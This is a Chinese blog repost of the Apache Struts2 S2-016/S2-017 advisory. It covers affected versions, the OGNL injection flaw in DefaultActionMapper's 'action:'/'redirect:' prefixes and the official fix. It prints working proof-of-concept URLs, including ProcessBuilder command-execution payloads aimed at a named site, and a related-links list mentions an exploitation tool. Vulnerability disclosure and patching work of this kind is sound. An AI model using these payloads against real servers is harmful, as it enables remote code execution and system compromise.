`

<转>struts2 最新S2-016-S2-017漏洞通杀struts2所有版本

 
阅读更多



 原链:http://zone.wooyun.org/content/5159

 

 

1.jpg 

2.jpg 

3.jpg 


POC来自官方: 
http://struts.apache.org/release/2.3.x/docs/s2-016.html 
http://struts.apache.org/release/2.3.x/docs/s2-017.html

 

 

 

 

这是一个代码执行漏洞,利用java代码来执行系统命令。 
影响版本:Struts 2.0.0 – Struts 2.3.15 
漏洞说明: 
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. 
In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

测试POC:

In the Struts Blank App, open following URLs. 
Simple Expression – the parameter names are evaluated as OGNL.
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{3*4}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{3*4}

Command Execution
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

解决方法: 
DefaultActionMapper was changed to sanitize “action:”-prefixed information properly. The features involved with “redirect:”/”redirectAction:”-prefixed parameters were completely dropped – see also S2-017. 
  
官方说明:http://struts.apache.org/release/2.3.x/docs/s2-016.html

  • 大小: 38 KB
分享到:
评论

相关推荐

    Struts2_s2-016&017&ognl2.6.11_patch漏洞补丁

    -- 为修复struts2 s2-016、s2-017漏洞,重写DefaultActionMapper --&gt; &lt;bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class=...

    struts2 最新漏洞 S2-016、S2-017修补方案 .docx

    Struts2 最新漏洞 S2-016、S2-017 修补方案 Struts2 是一个基于 Java 的 Web 应用程序框架,由 Apache 软件基金会维护。最近,Struts2 发生了两个严重的漏洞,分别是 S2-016 和 S2-017,这两个漏洞可能会导致攻击者...

    struts2反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017

    然而,这个框架的历史上存在一系列的安全漏洞,其中特别值得关注的是与反序列化相关的漏洞,如s2-005、s2-016、s2-016_3和s2-017。这些漏洞允许攻击者通过精心构造的输入,利用Struts2的内置机制执行任意代码,从而...

    Struts s2-016 s2-017 补丁

    对Struts s2-016 s2-017的官方修复建议是升级struts, 但对正在运行的系统,许多依赖包会导致运行出错, 直接更改代码是更快的选择. 本补丁是针对 struts2-core-2.0.11.jar 的修改, 把文件中 bin下的文件直接copy到 web...

    struts框架jar包

    logging-1.0.4.jar&lt;br&gt;commons-validator-1.3.1.jar&lt;br&gt;jstl-1.0.2.jar&lt;br&gt;oro-2.0.8.jar&lt;br&gt;standard-1.0.2.jar&lt;br&gt;struts-core-1.3.8.jar&lt;br&gt;struts-el-1.3.8.jar&lt;br&gt;struts-extras-1.3.8.jar&lt;br&gt;struts-faces-...

    struts2漏洞s2-045,不升级jar版本的修补方法,已验证.docx

    Struts2 漏洞 S2-045 修补方法 Struts2 是一个基于 Java 的 Web 应用程序框架,广泛应用于企业级应用程序中。然而,Struts2 中存在着一些漏洞,例如 S2-045 漏洞,该漏洞可能会导致严重的安全问题。今天,我们将...

    S2-016/017漏洞工具 struts漏洞

    本工具可以详细测试S2-016/017漏洞的资源,有助于您更深层的了解struts!

    struts2整合spring2的配置

    1. 导入的包&lt;br&gt;&lt;br&gt;l struts2的五个基础包:commons-logging-1.1.jar;...&lt;br&gt;&lt;br&gt;xwork-2.0.0.jar.&lt;br&gt;&lt;br&gt;l spring的核心包:spring.jar&lt;br&gt;&lt;br&gt;l 二者集成开发所需的包:struts-spring-plugin-2.0.6.jar&lt;br&gt;

    Struts2 (S2-016/S2-017)高危漏洞修复文件

    然而,像任何其他软件一样,Struts2也存在安全漏洞,其中S2-016和S2-017是两个知名的高危漏洞。 S2-016漏洞,全称为"Struts2 REST插件远程代码执行漏洞",主要影响Struts2的REST插件。该漏洞源于框架在处理XML内容...

    struts框架搭建

    &lt;package name="chapter1" namespace="/chapter1" extends="struts-default"&gt; &lt;action name="HelloWorld" class="chapter1.action.Chapter1Action" method="execute"&gt; &lt;result name="success"&gt;/WEB-INF/JspPage/...

    struts2.3.32修补S2-045漏洞所有核心jar包及依赖的jar(含core包)

    `ognl-3.2.jar`是Object-Graph Navigation Language的最新版本,它是Struts2中用于动态数据绑定和表达式语言的关键组件。在S2-045修复中,OGNL的表达式解析和执行机制得到了加强,增强了安全性,避免了恶意代码的...

    struts2-016/017漏洞解决

    Struts2 S2-016漏洞,全称为“Struts2 OGNL注入漏洞”,主要出现在Struts2的2.3.5到2.3.31以及2.5.0到2.5.10.1版本之间。这个漏洞允许攻击者通过恶意构造的OGNL(Object-Graph Navigation Language)表达式来执行...

    struts2.0官方项目之四(showcase)

    &lt;br&gt; ------------------------------------------------&lt;br&gt; 实例说明:&lt;br&gt;&lt;br&gt; 将&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.war”&lt;br&gt;&lt;br&gt; 改为&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.rar”&lt;br&gt;&lt;br&gt; 使用解压工具解压-...

    S2-016漏洞利用工具

    为了防御S2-016漏洞,最重要的措施是升级到不受影响的Struts2版本,至少是2.3.32或更高版本,同时应用所有相关的安全补丁。此外,还应严格限制Struts2 OGNL表达式的使用,避免在不受信任的数据中解析OGNL。配置过滤...

    Struts2远程代码执行漏洞分析(S2-013)1

    根据官方给的信息,问题出在 a 标签,所以写个 jsp 页面,内容如下:&lt;s:a includeParams="all"&gt;Click here.&lt;/s:a&gt;这个是 Struts2 标签库的 a 标签,该标签会在页面上显示当前 URL,当 includeParams=all 时,就会...

    struts2.0官方项目之一(blank)

    &lt;br&gt; ------------------------------------------------&lt;br&gt; 实例说明:&lt;br&gt;&lt;br&gt; 将&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.war”&lt;br&gt;&lt;br&gt; 改为&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.rar”&lt;br&gt;&lt;br&gt; 使用解压工具解压-...

    struts2.0官方项目之三(portlet)

    &lt;br&gt; ------------------------------------------------&lt;br&gt; 实例说明:&lt;br&gt;&lt;br&gt; 将&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.war”&lt;br&gt;&lt;br&gt; 改为&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.rar”&lt;br&gt;&lt;br&gt; 使用解压工具解压-...

    Struts 2 远程代码执行漏洞(s2-045\s2-046)修复所用到的包

    2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐) 3.升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-...

    struts-2.5.13

    &lt;filter-name&gt;struts2&lt;/filter-name&gt; &lt;!-- 过滤器的名字 --&gt; &lt;filter-class&gt;org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt; &lt;!-- 引用个具体类文件 --&gt; &lt;/...

    struts-2.5.16-源码+示例(S2-057漏洞演示环境)

    此外,更新到最新的Struts 2版本也是必要的,因为官方会发布补丁来修复已知的安全问题。 在提供的压缩包中,`struts-2.5.16-all.zip`包含了Struts 2.5.16的完整发布版,包括运行库和相关文档,你可以用它来搭建一个...

Global site tag (gtag.js) - Google Analytics